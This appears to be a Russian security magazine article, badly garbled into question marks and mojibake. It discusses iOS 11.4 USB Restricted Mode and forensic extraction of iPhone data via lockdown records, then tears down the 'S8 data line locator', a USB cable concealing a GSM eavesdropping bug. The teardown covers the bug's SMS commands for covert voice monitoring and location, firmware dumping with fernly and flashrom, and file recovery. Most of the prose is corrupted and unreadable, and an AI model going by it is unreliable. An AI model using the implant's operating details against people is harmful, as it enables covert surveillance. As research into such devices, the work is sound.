stricted� Mode� ??� ????�??.� ??????�??� ????�???
???�???�?� ????�???????,� ???� ?????� USB� Re?
stricted� Mode� ?????� ???????� ?� ????�?????�??
???�??爄OS�.4.�???�??�??�????�??�???????�
???� ?� ???,� ???�??� ??� ?????� ?????� ?� ???�??
??????�??�???�?爄OS�.4�??�??.
???�????�??� ???�????� ????�???�??� ????�?????�???� ?� Release� Notes� iOS
11.3燽eta�??�?????�???�??:
To爄mprove爏ecurity,爁or燼爈ocked爄OS燿evice爐o燾ommunicate爓ith燯SB燼ccessories� you� must� connect� an� accessory� via� lightning� connector� to� the
device爓hile爑nlocked�爋r爀nter爕our燿evice爌asscode爓hile燾onnected�
at爈east爋nce燼爓eek.
??�??�??????� ?� ???�??� ????� ??� ???�???� Cellebrite� ?� Grayshift,� ??????�?
???????�???�?????�???�?????�????�????�??�?�?????�????��????�???�
???,� ???�?� ????�???� ??????� ???�????�?.� ????� ???� ????,� ???�?� ??????� ????�
????�?�???�?�?????,�??�???�???�???�????�?????�???�?,�??�??????
???�??� ?????�????� ????�?????�???.� ?� ????�??� ????� ?????� ???�??�???
Cellebrite,� ???????� ???�???� ??????�?� ????�??�?� ?� ????� ???�????,� ???
??????�?�????�?????�??�??�?:�??�?�???�?????�????�?�?????.
?�??�???�??�?????�???�???�??�?�?????�?????��??�??�??�???爄OS
11� ????�???�??� ??� ????� ???�????� lockdown?????????� ???�??� ???????�??
?�???�??�??�????.
Lockdown-??????
????????????????
??�????�???� ???�???� (???�????� ?????�???� ?????),
????�?????�???�?????
??�?????�??
???�?� ???�??????� ???????� ???� ???????�????
??????�???� ???� ????�?????� ???�??�???�???
????????� ?� ???�??�??� ???�??� ???????�??� ???�??
?????�????� ?????� ??????�??????� ???�????�?????
???�??????
????�??�????
iOS� 11.0?11.2.1,� 11.3� ?????,� 11.4� ????:� ??� 14� ????
?�????�?�???�??�????�?????�???�??�???�?????
iOS� 11.3� ????:� 7� ????� ?� ?????�?� ????�??�????
??????�???�??�???�????
???�??�???
?爄OS���??�??�???�???�?????�???,�??�???�???
???�??� 玊rust� this� computer?�,� ????�?� ??????� ????�
?????�?�?????�???
USB燫estricted燤ode
????????????????
????�?� ??????� ???�????�?� ??????�?� Cellebrite
?燝rayshift
??�?????�??
??�????�??
????�??�????
??�?????�??�???�???��???�???�?�???��?????�
??�??�?????�??�??�????�?�?????�???�(????�?�?
???�?� ????,� ???�???�???� ??� ????�?� ???�??�????�?
???????�??�??�?�?????�????�??�??�????)?�???�
?????,� ???�???�???� ?� ???�?� ???�????�?� ???�???�
?????��???�???�??�???�?????�???
???�?????
??????�???�?
???�??�???� ?� ???????�???� ??????�???� ?� ????�???
???�??�??�??� (????�?????� ?????�?????�??� ????�
??????�??)
???� ???� ????�??,� ???� ?????� USB� Restricted� Mode� ????�??� ??????�?� ?� ????�
?????�???�?爄OS�.3燘eta�� ??� ????�??� ?� ????�?????�??� ???�??爄OS
11.3.� ????� ?????� ?????� ???�?� ?� ????�?????�??� ???�??� iOS� 11.4� ?� ??� ?????
?� ??� ???�?,� ?� ???� ??� ???�??� ??????� ???�????�??� ???????�??� ???.� ?� ???
?????
??�????�?????�???��????�??�?????�??�??�???�??�?????�???爄OS
11.4.� ?� ????????�??� 11.4� ?????� ?????� USB� Restricted� Mode� ?????� ??� ????�
??????,� ?� ???�??� ?� ??� ????�??� ?� ?????� ???�??� ??????.� ???� ??� ???�???�??
?????�???�???�??�??�????�爄Phone,�?�??????�???�??�???爄OS�.4燽eta?
??� ???�??�?????�?� iPhone� ?� iOS� 11.4,� ???� ??????�?� ????� ???�???� ???�??
lockdown???????.
??�?�??�????:
1.爄Phone�??�??�??��????�??�?,�??�??????�?�???�??�????�?????�????�
???�???�?????�??�??��????�??�??�??爈ockdown?????.
2.爄Phone�????�??�?�????�??�?��??�??�??��????�???�?????�???.
3.�???�?�???�???�?�??�?????�?�??�??�???�??????��????�??�?.
?� ??????�???� ??� ????�???�?� ???�?????.� ?????� ??????� ???� ???�??�????
??????�?� ?� ?????�??�?� iTunes� ????�?� ?????� ????�????:� 玦Tunes� could� not
connect爐o爐he爄Phone�name?燽ecause爄t爄s爈ocked爓ith燼爌asscode.燳ou爉ust爀nter
your爌asscode爋n爐he爄Phone燽efore爄t燾an燽e爑sed爓ith爄Tunes�.
??�??�??�???爈ockdown?????��??�???�??燛lcomsoft爄OS燜orensic燭ool?
kit,�??????�???�???????�??�??��??�?????�??�????爄OS.�?????�??:
? ??�????�??????�??�?�?????�???:�??�????
? ???�????�??� ???????�??� ??� ??????�???,� ????�??� ???�??� ???�???�??:
?????�????
? ???�??燗FC�(???�??�???��??�??�??�???�??):�????�????
? ???�??燽ackup�(???�??�????�?????�??�????�???�????):�????�????
? ??�?????�??�(???�??�???��????�???�?):�????�????
??�??�???�??,�???�?�???�???�??�??�????爄OS�.4燽eta�????�???�???�
???� ??� ????� ???????�???� ???�????� iPhone,� ???�???�???� ???????� ??????�
?????????�??�????�??????�??�?�?????�???.�??�?�??�???�??,�???�?
???�??� ??� ??????�?� ??????� ???�????�?,� ???� ???� ???????�???� ???� ???�???
iTunes?� ??� ???�??�???�???� ???????� ?� ???�???�???????� ???� ??� ?????� lock?
down????????.�?????�??:
? ??�????�??????�??�?�?????�???:�??�????
? ???�????�??� ???????�??� ??� ??????�???,� ????�??� ???�??� ???�???�??:
???�????
? ???�??燗FC�(???�??�???��??�??�??�???�??):�??�????
? ???�??燽ackup�(???�??�????�?????�??�????�???�????):�??�????
? ??�?????�??�(???�??�???��????�???�?):�??�????
??�???� ?????:� lockdown?????� ???????� ???�???�????,� ???� ???????�???� ????�
????� ???�????.� ????�??�???� ???????� ??� ?????�??�?,� ???�??�???� ?� ??????�
????�?????�???��???�??�???�???.�????�??�??�???�??????��?????�
???�?.爄Tunes�???�?�???�????,�???�???�???�???�?????�????��??????�
???� ?� ???,� ???� ???�?� ??� ???�??�??� ?� ?????�??�?� ????�??.� ?????�???� iOS
Forensic� Toolkit� ?� ????�???� ???�???�?????�?� ???� ???� ??� lockdown????????,
???�???�??????�?????�??�?�????�??????�???.�?????�??:
? ??�????�??????�??�?�?????�???:�??�????
? ???�????�??� ???????�??� ??� ??????�???,� ????�??� ???�??� ???�???�??:
?????�????
? ???�??燗FC�(???�??�???��??�??�??�???�??):�????�????
? ???�??燽ackup�(???�??�????�?????�??�????�???�????):�????�????
? ??�?????�??�(???�??�???��????�???�?):�????�????
???�??�???�?�??????�??????�??�????�?��??�???�?�????�?,�?????�??
???� ??� ??� lockdown???????.� ??????�??� ??� ????�??�?.� ?????:� ????� ?� ?????
lockdown???????,��??????�???�?�????�???�??�????.
??????????�?????
??� ???�??� ????�?,� ??????� ??� ?????�??????� ???�???�??� ????�?????�??.
???,� ????�???�??� ???�?� ???�????� lockdown???????� ??� ????�?� ???�???�??
????�?????�?� ??� ???�?????� ????� (?� ???� ???�?� ?????,� ???????� ????�??�???
???�???�????�??,� ???�?� ???�??�???�??�??� ???????� ????????� ???� ?????�
?????),�?��??�???�????�?????�??�??????�??�??�??????�??�??�??�??
???�??�????� iPhone� ?� ?????� ??????�????,� ???� ????????�??� ?� ???�????�??
????�???�???.
????�????�????� ??????� USB� Restricted� Mode,� ???�???�??�?� ??????�?
???�??� ?????� USB?????� ??????�???,� ???�??�?:� ???�??�???�??�???� ??????
???�???�???????�??� ????�??,� ???????� ?????� ????????�?� ???�??�???�???
iPhone� ???� iPad� ???� ??????� ???????� Cellebrite,� Grayshift� ?� ??� ???�????.
?� ??????�??� ?????�??� ???�?� ????�??�???� ???�????,� ???�?� ???????� ?� ?????�
??????�?� ???�???�?� ????�?????� ????�????�??,� ???????� ?????�????� ???????�
????��??�???�??�?????�????�(??�??�?�????�?�??�????�???�?�??????�
?????)� ?� ??????�???� ????�???� ??????� ???�????�?� ?� ???????� ???�????�??
???????.� ???�??� ????� ???�??� ???�???�?� ???� ????,� ???� ????�???�??�???� ????�
?????�??� ???????� ?????�??�?� ??� ???�??� ??????� ?� ???�??�??� ?????�??�??
?� ???�????�???� ?????�?????�?� ???�???�???????�??� ????�??� ??????�??
??????????.
??�??� USB� Restricted� Mode� ?� ???????� ??????�??� ????�??�??:� ???
??????�??????� ???�???�?� ?????�?� ????????� ???????�????� ??????�??,
???�???�??�???�?�?�????�??�????�??�?????.�??�?�????燗pple�???�
???��??�???�???�?��??�????�??�???�?爄OS��???�???,�???�????�???�
??????� ???�???�??� ???�???�???� ??� ???�???� ???�????�??�?� ??????�???
?� ????�??� ???�???�???????�??� ????�??.� ?� ????�???,� ???�?� ???�??�??� ????�
????????� ???�???� ???????� ????�?????�??� ??????�??� Apple� ???�???�???
????�???�?�??�??�??�??�???�???????�??�???�??,�??�???�?�??�?????
????????�??�??�??��?�??�????�?��???�??�??�??�?�??�??.
???�??�??�???�?�爄OS�.4?�?????�???�??�??�?�???�?�?????�????
?� ????�????,� ?� ?????� ???�??� ??????�??� ??� ???�??� ???????�?� ???�??�??
???� ?� ????�?� iOS� 11� ?????� ???�????�??� ???�??�???�??� ????�????� iMes?
sage��???�??爄Cloud.�??�??�????�???????��????�???�?�????�??�??�?
???�??????���????�?�??�?????�??�??.
?????
?????????
??????????
???????
???�??????
??????�??�?????,
???????????????
???�?????燯SB
???�??�??�??�?�燬IM????�??�???�?,�???�
???�??� ??????�???� ?????� ?� ?????�?????
???�?????�????,� ???�?� ?????�??� ?� ?????
????�??�???,��??�??�?���???�??�???�
???.� ?� ????�???�???�??� ?????� ??� ????�
?????�??� ?????� ??????�???,� ???�??� ???
???�??�?,� ???�??� ????�??� ?????�?
?� ????�????,� ???� ??� ???�?� ????� ???�??
??� ?????�???� ???�??.� ???????� ???� ?� ????�
???�?�??�????!�?�??�???�?�????�?.
0x6d696368
Computer爉agician
INFO
???�??????�?????� Inside燼爈ow燽udget燾onsumer
hardware爀spionage爄mplant.�??????�??��?????
????�??�??.� ??????�?� ???�???�???� ?� ????�
???????�???�?.
??�?????�??�?�????�??�???� ??�????� ?� ????�???� ??� ??????�???� ???� ????�
????�?� S8� data� line� locator� ?� ???�??� ???� �??�???�?????�?� ???�??�??�
?????�???,�??�?�????�?�??�?????�??�???�????�??.
S8� data� line� locator� ?� ???� ???�??�???�???� ??????�???,� ????�?????
???????� GSM,� ???????� ???�???�?� ?� ????�???� ????�???� ??????� USB
???� ?????�?� ?� ??????�?� ???�??.� ???� ???�????�???� ???�???� GSM� 850,� 900,
1800��00�??.
????,� ???????� ?� ????�?,� ?????� ??????�???� ???�??�????� ?????�?� COT?
TONMOUTH,� ?????�?????� ??� ??????� ???� ?� CSS,� ?� ???� ????�??�????�??
????�???�??��??�?燯SB�(??.�???�??�????�?燾ryptome.org�� PDF).� ?????
??????�???�?????�?�?????�???.
??�?� ??????�???� ???�?????�???� ???� ???�??� ?????�????,� ???????� ???�?
??????�?????��?????:�???�??�?�??�??�?????燯SB�?�?????.�?�???�?
??�???????��??�???????�??�???�??�?????�?????�???�?�???.�??�???�
??� ???�????,� ???� ???�????� ????�???�??� ???????�????� ?????� ???�??�??� (?
????�??�??�??�???????�??�????�?�57�?).�???�??�?�??�?????�?�???
?�??�???�????,�?????�?????�?????�??�??�??????,�?????�??�?�????�
??.� ????� ??????�???� ????� ?????� ???�?????,� ????� ????�????,� ???� ????� ????�
????�?� ???�??� ?� 40?45� ??.� ??� ?� ???�??� ???????� ???�????� ?� ???,� ???� ????�
????� ?� ????????� ???�???�??� ???�?� ???�???,� ??� ????�???,� ????� ??????,� ???
???� ???�?� ??????�???�???� ???????� ?� ???�?????� ???�??�?� ???�?� ????�??�?
SIM????�?��??�???�?.
???????????燬8燚ATA燣INE燣OCATOR
?�?????�???�???�??�???�?�??�?????�??�??�??�??�???�??��??�??�?.
????�?�????�?�?�??�??????�?��?????�????�?燬MS.
???�??�???�??
??�?� ???�???� ??� S8� data� line� locator� ?� ???????� ??????� ??????,� ?????� ????�???�
????� ?????�????,� ?� ??� ????�???� ???,� ???� ???�??� ???�????� ????�?� ???????�
????.
??�?????�??�??
SMS� ?� ???�???� 1111� ??� ??????�???� ????�???�?� ????????� ???�??.� ?� ????�
???????�??�??�?�??�??燬MS��???�??:
DT:燬et爒oice爉onitoring,爒oice燾allback燼nd爏ound爏ensitivity:400
???�???�?�??�???�??�?�??�????�?�?��?,�?????�???�????�????�?�??
?????,��?????�?�???�???�???�????�?.
???� ?????�????� ???????�?� ????�?� ???�?� ?????�???� SMS� ?� ?????� 0000.
?????�????�??�?????�??:
DT:燰oice爉onitoring燾ancelled爏uccessfully.
???�??�????�????
?�??�???�??�?????�?,�??,�???�????�???�?燬MS�????�?� dw,�?????�???
?�????�???�??�??????�??��??�?�??�?????�????.�??�????�??�??:
Loc:Street,燴IP燙ity,燙ountry
http://gpsui.net/u/xxxx燘attery:�0%
????�?� xxxx� ?????� ???�???� 0?9,� A?Z,� a?z,� ?� ????�?� ????�?� Street,� ZIP�
City,� Country� ?� ???�????� ???�?,� ???�????� ??????,� ?????� ?� ????�?.
??� ????�?� ??� http://gpsui.net� ???�?� ?????�?� ???� ????�???�??,� ???� ????????�
?????�?燝oogle燤aps.
??�?????� ???�?????�????� ?� ???�????????� ????�?� ???� ?� 1,57� ??� ?� ????
??�???�?�??�?.
??�??� ???�??,� ??????�???� ??????�???� ??????�??� ???�??� ???� ???�???
?� ????�??�??�?� ??????�??� (????�?????�???�?� gpsui.net).� ???� ???�???????�
????� ???,� ???� ???� ???�????� ????� ?� ????� ????�?� ??� MMS/Internet.� ???�???
???�?燤MS��?????�?????�?�??????�?�?�?�??�???�?,�?��???�?�???
???�????�???�???????,�??�??�??�??�??�??�?�??�?�???�???�??�???�
??????�????.�???�?�??��??�?�?????�??�??�??�??�????�??�???.
WARNING
???�???�?� ??????�???� ??????�???� ????�??�???
???�??�???�??�???�????�?�??�???,�??�???�?
(??� ????�??� ????,� ?� ???�??� ????????)� ???????�
??????� ?� ???�?????.� ???� ???????� ??� ???� ?????�
???????,� ???� ??????�???� ???� ???�?� ????� ?� ????�
???�??�??.
????�?� ?� ???????�?� ???�??�???�?????� ?� ????�?????� ???� �???粻 ?� ?????�??
???????.
??????
???�?� ????????� ???�??� ?� ????�?????�??� ??????�???,� ???�???� ???�?� ?????
?????�????�??�?????�??�????�?燯SB.
??�???�??�???�???�??????�???�?.
??�?
???�?�????�??�?????�???�???�???�?,�??�?�???�?�??�???�??�???.
??�?????�???:
? MediaTek� MT6261MA� ?� ???�????�?????� ???,� ???????� ???�?� ???????�
????�?� ?� ?????� ?????� ?????�??�?� ???�?????�??.� ???????� ???�????�??
???????�????�??�??????�??��???�??�????燤ediaTek�?�??�?????�??
? RDA� 6626e� ?� �??�??,� ??????�???????�??� ???????�?????�??� ?????�
????????????� ???�?????� ???� ????�??�?� ?� ??????�??� ??????�???� ?� ????�
???�???�????燝SM850,燛GSM900,燚CS1800,燩CS1900�.
???�????�?
?�???�?????�????�??�??�??�??�???�??�??�???�?��?????�???.
USB�(?????�??)
???�????�?� USB� A� ?� Micro?B� ??� ???�????�???� ?� MT6261MA.� ???� ????�?
??????�?�??�??�?�???�?��??�???.
UART
???�?????�????�????��??燯ART.
??�??�????� ?� ???� ??????�?� ???�??�?� ???� ?????�?� ???�?� ???�????� ???????�
????.
screen�/dev/ttyUSB0�5200�#�1
F1:�00�00
V0:�00�00燵0001]
00:�29�01
01:�00�00
U0:�00�01燵0000]
G0:�02�00燵0000]
T0:�00�73
Jump爐o燘L
~~~燱elcome爐o燤TK燘ootloader燰005�(since�05)爚~~
**===================================================**
Bye燽ye燽ootloader,爅ump爐o=0x1000a5b0
??????????? ??????
?
? �?????�?????
?????
?????????
?????????? ???????
???�??????�?????�??�?????,
???????????????�??�?????燯SB
??�??�?�???�???�???�?,��???�???�???�???.
??�???,� ??�??�??�?� ???�??� ???�??� ???�??�?,� ???????� ?????� ????�????�
????� ?????�??� ?????�?� AT.� ?� ???�???�???� ????� ???�??�????�??� ???�??�?
???�????�??�?燴hiPu.��???�??????�?�?�??�???�?,�??�?�??�??�??�????
???�???燜AT12�??�??�?,�??�??�???????�????�???�????�?�???.
???�??�??�????�????��??�???�?????�???.
F1:�00�00
V0:�00�00燵0001]
00:�29�02牋牋牋�
01:�00�00
U0:�00�01燵0000]
G0:�02�00燵0000]
T0:�00�73牋牋牋�
Jump爐o燘L牋�
~~~燱elcome爐o燤TK燘ootloader燰005�(since�05)爚~~
**===================================================**
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋�
Bye燽ye燽ootloader,爅ump爐o=0x1000a5b0
LOG:燫egisterSn:�
LOG:燴hiPu_sock_buf_init爉alloc=�7780,�7180,�6940
LOG:燴hiPu_mmi_get_imsi_request
LOG:燴hiPu_system_init燰ERSION=燤TK6261M.T16.17.01.10�,燽uild燿ate�
is�17/01/10�:33,燾urtime�04?01?01�:00
LOG:爂_zhipu_imei=燶
LOG:�????�????牋?????�268081676�????牋?????�????
LOG:燴hiPu_sms_ready_sync
LOG:燴hiPu燬ystem燣anguage:燛nglish
LOG:爏ervice_availability=�ChargerConnected=�poweron_mode=�LOG:爏im爄nvalid,�inutes爈ater爎eboot
LOG:�????�????牋?????��????牋?????�????
LOG:爄dle_screen_network_name:Same營MEI
USB�(MTK)
???�????燚P�燚M�??�????�?燯SB�?�??�????�???��???�?燚+�燚?,�???燰
?� GND� ???�????�???.� DP� ?� DM� ????�?� ???�?� ???�?????� ?� MT6261MA,
???�?????�?�?�??�????.
???�??????�?????燯SB��??�????�??.
??�???� ??????�???� ?????� ???�????�???�?� ???� ???????� MediaTek,� ???�??�???�
???�?燯SB.
ID�8d:0003燤ediaTek營nc.燤T6227爌hone
????�????�??�?�?????�?牜?????�??�???燤TK�,牜???�??燤TK燚M燚P粻?�??
?????.� ??� ???�????� ???� ??????�?� ?� ??????�????� ?� ???�???� ????� ???
?�??????????�??�??�?.
????�???????
???�?� ???�???� ???�??�?,� ?� ????� ???�?� ??????�??� ????�??�???� ?????�????�
????�???�?燜ernvale.�???�???�?�??�???????�??�?????��????燤T6260,
??�??�?�?�???�?????�?�??燤T6261MA.
WWW
???�?????� ?� Fernvale� ??� ??????� ??????� ??� ????�
????� bunnie� ?� xobs� ??� 31??� CCC,� ??� ??????�???
獸ernvale:� ?????�??� ???�???�??� ????�????
??�???�?�(????????�?)�??�?????�???爉T6260�.
????�???�?�燩DF��?�??.
???�???�?�??�??�??�?爁ernly
???� ??????� ???�???�?� ???�??????� ???�??� Fernvale� ?� ???� ????,� ???�?????
????�?????�??爑rjaman�(Urja燫annikko)��?????�???�燤T6261.
$爂it燾lone爃ttps://github.com/urjaman/fernly
$爂it燾lone爃ttps://github.com/robertfoss/setup_codesourcery.git
$爏udo爏etup_codesourcery/setup.sh
$�/usr/local/bin/codesourcery?arm?2014.05.sh
$燾d爁ernly
$爂it燾heckout爁ernly6261
$爉ake燙ROSS_COMPILE=arm?none?eabi?
$爀xit
$燾p�?fernvale?simple.rules�/etc/udev/rules.d/.
????�??
??�???�????�?????�???�??.�??�??�?�????�???:
$爀cho�"data�燵"�爎om.py
$爁ernly/build/fernly?usb?loader�/dev/fernvale爁ernly/build/
dump?rom?usb.bin�>爎om.py
$爀cho�"
]
f�爋pen('rom.bin','wb')
for爏爄n燿ata:
f.write(chr(int(s,16)))
f.close()
"�>爎om.py
$爌ython爎om.py
??�???� ????� rom.bin� ?????� ?????�???� ????� ???� ??????�???� (??� ????�??
????,�???�?????�??????�????��?????�????爁ernly).
????�??????????
???�?�??�???�???�???�?,�??�?�??�??�???�ash燫OM.
$爂it燾lone爃ttps://github.com/flashrom/flashrom
$燾d爁lashrom/
$爂it燾heckout燾8305e1dee66cd69bd8fca38bff2c8bf32924306
$爌atch�p0��../fernly/flashrom?fernvale.patch
???� ????�??????� ????� ??� ????�?,� ???� ???� ???�??�?� ????�??� ???�?????� ????�
?????� (Make?le.rej).� ???�?� ?????�???� ?� ????,� ???�?� ???�?????� ???�??�?
?�??�????�??�?????,�??????:
$爁ernly/build/fernly?usb?loader�w�/dev/fernvale爁ernly/build/
stage1.bin爁ernly/build/firmware.bin
??�???� ?????� ??????�?????� ????�????�??� fernvale_spi,� ???????� ??� ????�
???� ????�?????� ??� ?ash� ROM.� ???� ??????� ????� ???� ????�???� ????� ????�
??????�????�??:
$爁lashrom/flashrom�?programmer爁ernvale_spi:dev=/dev/fernvale
?�?????�???�?�???:
$爁lashrom/flashrom�?programmer爁ernvale_spi:dev=/dev/fernvale�c�
"MX25L3205(A)"�?read爁lash.dat
??�??�????�??????????�?????�???�??�??�?��??�?爁lash.dat.
??�??�?�???????�???
??�???�??�???�??�?�??�????�????�??:
$爁lashrom/flashrom�?programmer爁ernvale_spi:dev=/dev/fernvale�c�
"MX25L3205(A)"�?write爁lash.dat
??�???�??????�?�?????,��??�?????�???�?�????�???�????�ashrom.
???�??�??�?????�??�????�????�???�?????��???�?�????.
??� ???�??�????�??� ???�??� ??????�???� ?????� ?ashrom� ???�????� ????�
??????�???�??:
$爁lashrom/flashrom�?programmer爁ernvale_spi:dev=/dev/fernvale
flashrom爒0.9.9?86?ge1a960e?dirty爋n燣inux�13.2?1.el7.elrepo.
x86_64�(x86_64)
flashrom爄s爁ree爏oftware,爂et爐he爏ource燾ode燼t爃ttps://flashrom.
org
Using燾lock_gettime爁or燿elay爈oops�(clk_id:�爎esolution:�s).
Found燝igaDevice爁lash燾hip�"GD25LQ32"�(4096爇B,燬PI)爋n爁ernva
le_spi.
No爋perations爓ere爏pecified.
??????
?� ????????� ????� ????�???�???�??� ?� ?????� ???�??�???�?????� ????� ????�
???�?.
????�???燬IM�(?????燬IMtrace)
???�??�????��??�????�??�????�燬IM????�??.�???�??�?,�??�?????�???
??????�?� ???�??� ??� ????� ???????� ???????�??� ???�?� ?� SMS.� ????� ???�??,� ??
???�???�?�??�?????�??�?�(????�????�????�?�??�?�??�??�??�??�???�
????�??):
ADF
? EF(ECC)
? EF(EXT2)
? EF(SMS)
DF(TELECOM)�燚F(PHONEBOOK)
? EF(ADN)
? EF(ANRA1)
? EF(SMS)
???�??�??�????�燬IM????�??�??�????�?�??�???.
????� ??� ???� ????????� ???�??� ???�?� ??� ???�?� ???????�??� ???????� ?� ??
??????�?� ?� ?????,� ???�??� ????????� ????�??�???� ???� ???� ??????� ?� SIM,
???????� ??� ???�?????� ?� ???�??� ???�???� ??????�???.� ???� ??� ?????� ?� ??????
???????�????�??�?,�??�?????�???�?????�???�?�???�?�?�??�?,�??�???
??燬IM????�?.
???????�????????燝PRS�(?????燨PENBTS)
???�?????,� ???� ?� ???�??????� ???�???,� ?� ???� ???�?????� ???????� ???�??,
???�?�?????,�??�?????�???�?�?????�??�??�?.�??�??�?��?????�????
Ettus燘100�燨penBTS.
?� ??????�??,� S8� data� line� locator� ??� ???�??�???�?� ?� GPRS.� ???�?� ?
???????�?�????�???�????�?燿w,�??�?�??�?????�???�?????,��????�????�
??�??�??:
Loc:Please爈ink:http://gpsui.net/smap.php?lac=1000&cellid=10&c=901&n=
70&v=7100燘attery:67%
??�??�????爁lash
???�????�???�??�??�??�???��??�?�??�?.
??
??�?�?�???�??�?爁lash.dat,�?????�???�?????�?�?燦ucleus燫TOS.
$爏trings�a爁lash.dat
Copyright�(c)�93?2000燗TI�燦ucleus燩LUS�燰ersion燗RM�9牋1.11.19
???�??�??�???�?,�??????�?????�?�???�?????�?????�?.
$爏trings�a爁lash.dat爘爂rep�"\.c"
psss\components\src\bl_Secure_v5.c
psss\components\src\SSS_secure_shared_v5.c
hal\system\bootloader\src\bl_Main.c
hal\system\bootloader\src\bl_Main.c
hal\system\bootloader\src\bl_FTL.c
hal\system\bootloader\src\bl_FTL.c
hal\system\bootloader\src\bl_FTL.c
hal\storage\flash\mtd\src\flash_disk.c
hal\system\bootloader\src\bl_Main.c
hal\peripheral\src\dcl_pmu6261.c
hal\system\cache\src\cache.c
hal\peripheral\src\dcl_rtc.c
hal\peripheral\src\dcl_pmu6261.c
hal\system\bootloader\src\bl_FTL.c
hal\system\bootloader\src\bl_FTL.c
hal\peripheral\src\rtc.c
hal\peripheral\src\rtc.c
hal\peripheral\src\rtc.c
hal\peripheral\src\rtc.c
hal\peripheral\src\rtc.c
hal\peripheral\src\rtc.c
hal\storage\flash\mtd\src\flash_mtd_sf_dal.c
hal\peripheral\src\dcl_pmu_common.c
hal\peripheral\src\dcl_f32k_clk.c
hal\peripheral\src\dcl_f32k_clk.c
hal\peripheral\src\dcl_gpio.c
hal\peripheral\src\dcl_pmu_common.c
hal\system\cache\src\cache.c
hal\peripheral\src\dcl_f32k_clk.c
hal\peripheral\src\dcl_gpio.c
hal\peripheral\src\gpio.c
hal\system\bootloader\src\bl_FTL.c
hal\peripheral\src\rtc.c
hal\peripheral\src\bmt_hw.c
hal\peripheral\src\dcl_pmu6261.c
hal\storage\flash\mtd\src\flash_mtd.c
hal\peripheral\src\gpio.c
custom\common\hal\combo_flash_nor.c
hal\peripheral\src\dcl_rtc.c
hal\peripheral\src\dcl_rtc.c
hal\storage\flash\mtd\src\flash_disk.c
custom\common\hal\combo_flash_nor.c
hal\storage\flash\mtd\src\flash_mtd_sf_dal.c
hal\system\emi\src\emi.c
sss\components\src\SSS_secure_shared_common.c
alice.c
ddload.c
plutommi\Framework\GDI\gdisrc\gdi.c
C.cKi
hal\audio\src\v1\audio_service.c
ddload.c
ddload.c
plutommi\Framework\GDI\gdisrc\gdi_image_hwjpg_v2.c
plutommi\Framework\GDI\gdisrc\gdi_image_hwjpg_v2.c
plutommi\Framework\GDI\gdisrc\gdi_util.c
plutommi\Framework\GDI\gdisrc\gdi_util.c
hal\audio\src\v1\audio_service.c
ddload.c
???�????�??�???燜AT12
??�???:� ???�?� ?� ?????� ????� ?????,� ?� ???�??�??� ????� ????�??�??
???????????,� ?????�?� ???�????� ???�???� FAT12� ???�?????� ?????.� ???�???
@viperbjk� ??� ??,� ???� ???�??� ??� ???.� ?� ??????�??� ???� ??� ???�??�?????� ????
?�????�???�????,�??�?�??????�?.��???�??�??�????��???�??�????????�
???�????�?�???????�??�????�??�???.
??????????? ??????
?
? �?????�?????
?????
?????????
?????????? ???????
???�??????�?????�??�?????,
???????????????�??�?????燯SB
???�??�???�?�?????�?�????�??�??�???燜AT12.
$爁ls�o�46爁lash.dat�f爁at12
Invalid爉agic爒alue�(Not燼燜ATFS爁ile爏ystem�(magic))
$爁ls�o�26爁lash.dat�f爁at12
v/v�31:牋�$MBR
v/v�32:牋�$FAT1
v/v�33:牋�$FAT2
d/d�34:牋�$OrphanFiles
$爁ls�o�53爁lash.dat�f爁at12
Invalid爉agic爒alue�(Not燼燜ATFS爁ile爏ystem�(magic))
?�?????�?�???燜AT12�???,�????�?,�??�?????,�????�??�??�????????.
$爁ls�o�26爁lash.dat�rp�f爁at12
v/v�31:牋�$MBR
v/v�32:牋�$FAT1
v/v�33:牋�$FAT2
d/d�34:牋�$OrphanFiles
?/r�*�9:牋$OrphanFiles/MP0B_001
?/r�*�0:牋$OrphanFiles/ST33A004
?/r�*�1:牋$OrphanFiles/ST33B004
[...]
?�??�??????�??????�??�?:
fls�o�26爁lash.dat�Frp�f爁at12爘爓hile爎ead爈ine;燿o
牋爌ath=$(echo�"$line"爘燼wk�F':'�'{print�$2}')
牋爉kdir�p�$(dirname�$path);
牋爄cat�o�26爁lash.dat�$(echo�"$line"爘爂rep�oE�"[0?9]+"爘爃ead�
?n1)��$path
done
??�???�???�??�??�?????�??�???.�??�??�?????�???�????�????�??????�
????:�???�??�???燬IM????�?,�?��??�??,�??????�?????�???燭he燬leuthkit,
???????�?�??�?�??�????.�?????�???,�??�??�???�?燜AT12,�???�???????
???�???�?�?????�???�??�??�???�??.
??�????? ???� ???,� ???� ?� ???�??�??� ????� ????�??�??� ???????????� (FTL).
?????�??�?�???�?????�??�??�???,�??????�????��??�???�???�?.
?� ??� ????� ???�??�?????�?� ????�?� ????�??�???� ???�??,� ?????�?� ?????�
??????�????�???�??�???�??�???�??�?????爃exdump.
???�??�??�?????�??
??�??�?,�?????�??�???,�???�???�???�??�???�?.�??��??�??�??�???
IMSI�?????�??�?�???�?�??�?��????,�??????�?????�????�?�??�??�???�
????�??????�??.
?� ???�????� ????� ??� ??????� ??????� ????�?� ??� gpsui.net.� ????�?????�???�?
???�??�??�??�??�??,�??????�?????�???�?,�??�?�???�?????�???燤CC,
MNC,� LAI� ?� CID� ?� ???�????� ???�?,� ??????� ?� ????�?,� ?� ???�?� ???� ??????�??
????�?� ??� gpsui.net,� ???????� ???????�????�?� ??� Google� Maps.� ??� ???�???�?
????????�???��???�?�??�?,�??�?????�?�??��???�???�??�??????�??.
????�??�????�?
?� ????????� ??????� ???� ???� ??� ???�???� ???�?� ???????,� ???� ???????�?� ????�
?????�??� ???�??.� ????�??� ?� ???�?� ?ash.dat� ????�?� dw,� 1111� ?� 0000,� ?� ?????�
?????�???�??�????�?.
??�???� ????�???�??� ????� ??????� ??� ??????�?� ???� ??????�?.� ??????,� ???
???�??�?�?????�???�?��??�???�??�??????�?????�????,�?�??�??�???�?
?????�?,�??�??�??�?�??�???�??�?��??�?????燭F,��?�???,�?�??�???
?�????�?�??.�?��??�??�?????�??,�??�?????�?��??????�?,��???.
???�????�??�??�??�??�??�??�???�?????��?�???�??.
? help:�???�???�??�?????�???�??�?????:
?
?
?
?
?
?
?
?
?
dw:�??????
qqq:�??�??�?�?????�???
1111:�???�???�???�??�?????�??
0000:�??�?????�???�??�?????�??
ddd:�???�???�??�??�?
aqb:�???????�??�???�?????�?��?????
eee:�?????�??�?????
dde:�???�???�??�?燭F
hhh:�??�??�?????�???
? loc:�?�?,�??�燿w
? imsi:�??�??營MEI�營MSI
